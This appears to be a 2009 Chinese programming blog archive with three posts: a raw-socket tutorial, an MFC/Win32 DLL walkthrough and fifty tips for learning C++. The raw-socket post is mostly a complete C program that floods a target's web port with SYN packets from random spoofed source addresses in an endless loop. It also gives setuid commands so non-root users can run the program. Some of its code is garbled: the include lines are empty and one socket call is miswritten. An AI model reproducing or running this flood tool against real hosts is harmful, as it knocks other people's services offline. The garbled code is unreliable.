2009年4月26日
原始套接字
我们在前面已经学习过了网络程序的两种套接字(SOCK_STREAM,SOCK_DRAGM).在这一章 里面我们一起来学习另外一种套接字--原始套接字(SOCK_RAW). 应用原始套接字,我们可以编写出由TCP和UDP套接字不能够实现的功能. 注意原始套接字只能够由有root权限的人创建.
10.1 原始套接字的创建
int sockfd(AF_INET,SOCK_RAW,protocol)
可以创建一个原始套接字.根据协议的类型不同我们可以创建不同类型的原始套接字 比如:IPPROTO_ICMP,IPPROTO_TCP,IPPROTO_UDP等等.详细的情况查看 下面我们以一个实例来说明原始套接字的创建和使用
10.2 一个原始套接字的实例
还记得DOS是什么意思吗?在这里我们就一起来编写一个实现DOS的小程序. 下面是程序的源代码
/******************** DOS.c *****************/
#include
#include
#include
#include
#include
#include
#include
#include
#include
#define DESTPORT 80 /* 要攻击的端口(WEB) */
#define LOCALPORT 8888
void send_tcp(int sockfd,struct sockaddr_in *addr);
unsigned short check_sum(unsigned short *addr,int len);
int main(int argc,char **argv)
{
int sockfd;
struct sockaddr_in addr;
struct hostent *host;
int on=1;
if(argc!=2)
{
fprintf(stderr,"Usage:%s hostname\n\a",argv[0]);
exit(1);
}
bzero(&addr,sizeof(struct sockaddr_in));
addr.sin_family=AF_INET;
addr.sin_port=htons(DESTPORT);
if(inet_aton(argv[1],&addr.sin_addr)==0)
{
host=gethostbyname(argv[1]);
if(host==NULL)
{
fprintf(stderr,"HostName Error:%s\n\a",hstrerror(h_errno));
exit(1);
}
addr.sin_addr=*(struct in_addr *)(host->h_addr_list[0]);
}
/**** 使用IPPROTO_TCP创建一个TCP的原始套接字 ****/
sockfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP);
if(sockfd<0)
{
fprintf(stderr,"Socket Error:%s\n\a",strerror(errno));
exit(1);
}
/******** 设置IP数据包格式,告诉系统内核模块IP数据包由我们自己来填写 ***/
setsockopt(sockfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on));
/**** 没有办法,只用超级护用户才可以使用原始套接字 *********/
setuid(getpid());
/********* 发送炸弹了!!!! ****/
send_tcp(sockfd,&addr);
}
/******* 发送炸弹的实现 *********/
void send_tcp(int sockfd,struct sockaddr_in *addr)
{
char buffer[100]; /**** 用来放置我们的数据包 ****/
struct ip *ip;
struct tcphdr *tcp;
int head_len;
/******* 我们的数据包实际上没有任何内容,所以长度就是两个结构的长度 ***/
head_len=sizeof(struct ip)+sizeof(struct tcphdr);
bzero(buffer,100);
/******** 填充IP数据包的头部,还记得IP的头格式吗? ******/
ip=(struct ip *)buffer;
ip->ip_v=IPVERSION; /** 版本一般的是 4 **/
ip->ip_hl=sizeof(struct ip)>>2; /** IP数据包的头部长度 **/
ip->ip_tos=0; /** 服务类型 **/
ip->ip_len=htons(head_len); /** IP数据包的长度 **/
ip->ip_id=0; /** 让系统去填写吧 **/
ip->ip_off=0; /** 和上面一样,省点时间 **/
ip->ip_ttl=MAXTTL; /** 最长的时间 255 **/
ip->ip_p=IPPROTO_TCP; /** 我们要发的是 TCP包 **/
ip->ip_sum=0; /** 校验和让系统去做 **/
ip->ip_dst=addr->sin_addr; /** 我们攻击的对象 **/
/******* 开始填写TCP数据包 *****/
tcp=(struct tcphdr *)(buffer +sizeof(struct ip));
tcp->source=htons(LOCALPORT);
tcp->dest=addr->sin_port; /** 目的端口 **/
tcp->seq=random();
tcp->ack_seq=0;
tcp->doff=5;
tcp->syn=1; /** 我要建立连接 **/
tcp->check=0;
/** 好了,一切都准备好了.服务器,你准备好了没有?? ^_^ **/
while(1)
{
/** 你不知道我是从那里来的,慢慢的去等吧! **/
ip->ip_src.s_addr=random();
/** 什么都让系统做了,也没有多大的意思,还是让我们自己来校验头部吧 */
/** 下面这条可有可无 */
tcp->check=check_sum((unsigned short *)tcp,
sizeof(struct tcphdr));
sendto(sockfd,buffer,head_len,0,addr,sizeof(struct sockaddr_in));
}
}
/* 下面是首部校验和的算法,偷了别人的 */
unsigned short check_sum(unsigned short *addr,int len)
{
register int nleft=len;
register int sum=0;
register short *w=addr;
short answer=0;
while(nleft>1)
{
sum+=*w++;
nleft-=2;
}
if(nleft==1)
{
*(unsigned char *)(&answer)=*(unsigned char *)w;
sum+=answer;
}
sum=(sum>>16)+(sum&0xffff);
sum+=(sum>>16);
answer=~sum;
return(answer);
}
编译一下,拿localhost做一下实验,看看有什么结果.(千万不要试别人的啊). 为了让普通用户可以运行这个程序,我们应该将这个程序的所有者变为root,且 设置setuid位
[root@hoyt /root]#chown root DOS
[root@hoyt /root]#chmod +s DOS
10.3 总结
原始套接字和一般的套接字不同的是以前许多由系统做的事情,现在要由我们自己来做了. 不过这里面是不是有很多的乐趣呢. 当我们创建了一个TCP套接字的时候,我们只是负责把我们要发送的内容(buffer)传递给了系统. 系统在收到我们的数据后,回自动的调用相应的模块给数据加上TCP头部,然后加上IP头部. 再发送出去.而现在是我们自己创建各个的头部,系统只是把它们发送出去. 在上面的实例中,由于我们要修改我们的源IP地址,所以我们使用了setsockopt函数,如果我们只是修改TCP数据,那么IP数据一样也可以由系统来创建的.
2009年4月12日
首先要建立一个dll的资源,file->new->MFC appwizard(dll) 输入工程的名字
点击 FINISH 然后点击 OK
你就可以开始创建你自己的dll资源了 我这里的DLL资源是一个图片
INSERT -》RESOURCE -》选择BITMAP 单机IMPORT 找出要导入的图片就可以了
注意图片的后缀名是 .bmp 或 .ico 不能是其他格式的否则就用不了
导入成功以后就可以编译一下(不用运行)
然后在工程文件的目录中debug文件夹中就会有一个 .dll 和.lib的文件(这两个文件有用)
这样你自己的DLL就建立成功了
接下来的任务是如何把自己建立的DLL应用到自己的程序中去
打开工程建立一个基于对话框的应用程序,放置一个picture(这个控件必须修改名字,否则无法定义成员变量)和一个button,把picture的type设置成和你加载的图片一样的格式(比如在DLL中你导入的是一个.bmp的图片,那就把type设置成bitmap,导入的是.ico的图片 就设置成icon)
然后就是给button增加单机响应事件。
代码如下:
HINSTANCE hdll; //存储加载的动态连接库的句柄
HINSTANCE hcurrent; //保存当前句柄 以用于最后恢复到当前
hdll=::LoadLibrary("C:\\Program Files\\Microsoft Visual Studio\\MyProjects\\cbitmap\\Debug\\cbitmap.dll");
//加载你自己建立的DLL 这里有一个注意的地方 文件目录之间要用 \\ 否则会有警告
if(hdll) //如果DLL不为空
{
hcurrent=AfxGetResourceHandle(); //获取当前的句柄
AfxSetResourceHandle(hdll); //设置成 DLL的句柄
HBITMAP hbit=::LoadBitmap(hdll,MAKEINTRESOURCE(IDB_BITMAP1)); //第一个参数 用的是哪个对象就要设置成相应的句柄 如果用的是本工程中的图片就用 AfxGetInstanceHandle 或者是AfxGetApp->m_Instance;
第二个参数是图片的一个资源标识,要用MAKEINTRESOURCE 进行转换 非常要注意的是MAKEINTRESOURCE的参数 你导入的图片在DLL中用的是什么名字 在这里也要用一样的的名字 否则就会出错。
m_pic.SetBitmap(hbit);
AfxSetResourceHandle(hcurrent); //恢复到当前句柄
}
AfxFreeLibrary(hdll); 释放hdll
并不是代码有了就可以用了 还需要一些准备工作,第一个 将制作DLL产生的lib文件导入
步骤:project ->add to project ->files 找到制作DLL产生的lib文件,将其导入
还要在工程的头文件中把制作DLL时产生的和工程名相同的头文件用语句“#include "xx.h"”
包含进来。这里有一个小细节要注意,由于这个头文件的目录和我们现有工程的的目录是不一样的
我们可以把这个头文件直接复制到我们现有工程的目录中即可。
这些工作做完了 我们就可以运行我们的工程了
DLL中定义有两种函数:
---- 导出函数(exportfunction): 可以被其他模块调用
---- 内部函数(internalfunction): 只能在DLL内部使用
---- 创建一个基于API的DLL.本例只定义了导出函数.
---- 1.在FILE- >NEW- >PROJECTS中选择"WIN32 Dynamic-Link Library"在Project Name中输入 "a"按OK
---- 2.在FILE- >NEW- >FILES中选择C++ SOURCE FILE,在FILE中输入a.cpp,按OK
---- 在FILE- >NEW- >FILES中选择TEXT文件,在FILE中输入a.h,按OK
---- 在FILE- >NEW- >FILES中选择TEXT文件,在FILE中输入a.def,按OK
---- 3.源文件:
file://---------------------------
file://a.cpp
#include < windows >
WINAPI int add(int a,int b)
{ return (a+b);
}
file://---------------------------
file://a.h
WINAPI int add(int a,int b);
file://---------------------------
file://a.def
LIBRARY "aaa" ;指出DLL的名字
DESCRIPTION ''aaa Windows Dynamic Link Library''
;描述DLL的用途(此句可选)
EXPORTS add ;导出函数的名字
四.调用DLL的方法:
---- 1.通常我们在调用DLL时所需的DLL文件必须位于以下三个目录之一:
---- (1)Windows的系统目录:\windows\system;
---- (2)DOS中path所指出的任何目录;
---- (3)程序所在的目录;
---- 同时应注意管理好你的.lib文件和.h和文件
---- 2.建立一个工程,简单起见可建立一个控制台应用程序.
---- 3.在工程中引入a.lib:
---- (1)如果你的a.lib放在VC标准的LIB文件夹中.
单击Project- >Project Settings...
在link选卡的object/library modules中加上a.lib即可
---- (2)如果你的a.lib不是放在VC标准的LIB文件夹中
单击Project- >Add to Project- >files...
找到a.lib文件,按OK
< pre >
4.//------------------------
file://call_a.cpp
#include< stdio.h >
#include "c:/a/a.h"
void main(void)
{ int c=0;
c=add(1,2);
printf("1+2=%d",c);
}
file://本程序在VC5.0下调试通过
给EDIT附值时的方法:
(1)可以给EDIT控件添加CSTRING的成员变量,然后用 m_text=_T("hello");的形式给EDIT附值
但这时候你就得必须在m_text=_T("hello");这句的前面加上UpdateData(TRUE);在后面加上
UpdateData(FALSE); 其中UpdateData(TRUE);的作用是将EDIT中的内容更新成员变量中,
UpdateData(FALSE);的作用是将成员变量的内容更新到EDIT中。
(2)给EDIT添加CEDIT类型的变量,调用其中的SETWINDOWTEXT方法给EDIT附值,但是此时注意
如果你为EDIT定义了CSTRING的成员变量就不用UpdateData(TRUE);和UpdateData(FALSE);
因为你如果还继续使用,UpdateData(TRUE);将EDIT的内容附值到了CSTRING类型变量,
UpdateData(FALSE);又将CSTRING类型变量的内容又附值到了EDIT中,这样SETWINDOWTEXT
函数就没有作用了。
(3) 因为控件也是由CWIND类派生来的,所以可以先调用GetDlgItem(参数是控件的ID),返回的
是CWIND类型的指针,然后用这个指针调用-》SetWindowText(内容)就可以给EDIT附值了
UpdateData(TRUE); UpdateData(FALSE);的要求和上面一样。
2009年3月19日
1.把C++当成一门新的语言学习。
2.看《Thinking In C++》,不要看《C++变成死相》;
3.看《The C++ Programming Language》和《Inside The C++ Object Model》,不要因为他们很难而我们自己是初学者所以就不看;
4.不要被VC、BCB、BC、MC、TC等词汇所迷惑——他们都是集成开发环境,而我们要学的是一门语言;
5.不要放过任何一个看上去很简单的小编程问题——他们往往并不那么简单,或者可以引伸出很多知识点;
6.会用Visual C++,并不说明你会C++;
7.学class并不难,template、STL、generic programming也不过如此——难的是长期坚持实践和不遗余力的博览群书;
8.如果不是天才的话,想学编程就不要想玩游戏——你以为你做到了,其实你的C++水平并没有和你通关的能力一起变高——其实可以时刻记住:学C++是为了编游戏的;
9.看Visual C++的书,是学不了C++语言的;
10.浮躁的人容易说:XX语言不行了,应该学YY;——是你自己不行了吧!?
11.浮躁的人容易问:我到底该学什么;——别问,学就对了;
12.浮躁的人容易问:XX有钱途吗;——建议你去抢银行;
13.浮躁的人容易说:我要中文版!我英文不行!——不行?学呀!
14.浮躁的人容易问:XX和YY哪个好;——告诉你吧,都好——只要你学就行;
15.浮躁的人分两种:a)只观望而不学的人;b)只学而不坚持的人;
16.把时髦的技术挂在嘴边,还不如把过时的技术记在心里;
17.C++不仅仅是支持面向对象的程序设计语言;
18.学习编程最好的方法之一就是阅读源代码;
19.在任何时刻都不要认为自己手中的书已经足够了;
20.请阅读《The Standard C++ Bible》(中文版:标准C++宝典),掌握C++标准;
21.看得懂的书,请仔细看;看不懂的书,请硬着头皮看;
22.别指望看第一遍书就能记住和掌握什么——请看第二遍、第三遍;
23.请看《Effective C++》和《More Effective C++》以及《Exceptional C++》;
24.不要停留在集成开发环境的摇篮上,要学会控制集成开发环境,还要学会用命令行方式处理程序;
25.和别人一起讨论有意义的C++知识点,而不是争吵XX行不行或者YY与ZZ哪个好;
26.请看《程序设计实践》,并严格的按照其要求去做;
27.不要因为C和C++中有一些语法和关键字看上去相同,就认为它们的意义和作用完全一样;
28.C++绝不是所谓的C的“扩充”——如果C++一开始就起名叫Z语言,你一定不会把C和Z语言联系得那么紧密;
29.请不要认为学过XX语言再改学C++会有什么问题——你只不过又在学一门全新的语言而已;
30.读完了《Inside The C++ Object Model》以后再来认定自己是不是已经学会了C++;
31.学习编程的秘诀是:编程,编程,再编程;
32.请留意下列书籍:《C++面向对象高效编程(C++ Effective Object-Oriented Software Construction)》《面向对象软件构造(Object-Oriented Software Construction)》《设计模式(Design Patterns)》《The Art of Computer Programming》;
33.记住:面向对象技术不只是C++专有的;
34.请把书上的程序例子亲手输入到电脑上实践,即使配套光盘中有源代码;
35.把在书中看到的有意义的例子扩充;
36.请重视C++中的异常处理技术,并将其切实的运用到自己的程序中;
37.经常回顾自己以前写过的程序,并尝试重写,把自己学到的新知识运用进去;
38.不要漏掉书中任何一个练习题——请全部做完并记录下解题思路;
39.C++语言和C++的集成开发环境要同时学习和掌握;
40.既然决定了学C++,就请坚持学下去,因为学习程序设计语言的目的是掌握程序设计技术,而程序设计技术是跨语言的;
41.就让C++语言的各种平台和开发环境去激烈的竞争吧,我们要以学习C++语言本身为主;
42.当你写C++程序写到一半却发现自己用的方法很拙劣时,请不要马上停手;请尽快将余下的部分粗略的完成以保证这个设计的完整性,然后分析自己的错误并重新设计和编写(参见43);
43.别心急,设计C++的class确实不容易;自己程序中的class和自己的class设计水平是在不断的编程实践中完善和发展的;
44.决不要因为程序“很小”就不遵循某些你不熟练的规则——好习惯是培养出来的,而不是一次记住的;
45.每学到一个C++难点的时候,尝试着对别人讲解这个知识点并让他理解——你能讲清楚才说明你真的理解了;
46.记录下在和别人交流时发现的自己忽视或不理解的知识点;
47.请不断地对自己写的程序提出更高的要求,哪怕你的程序版本号会变成Version 100.XX;
48.保存好你写过的所有的程序——那是你最好的积累之一;
49.请不要做浮躁的人;
50.请热爱C++!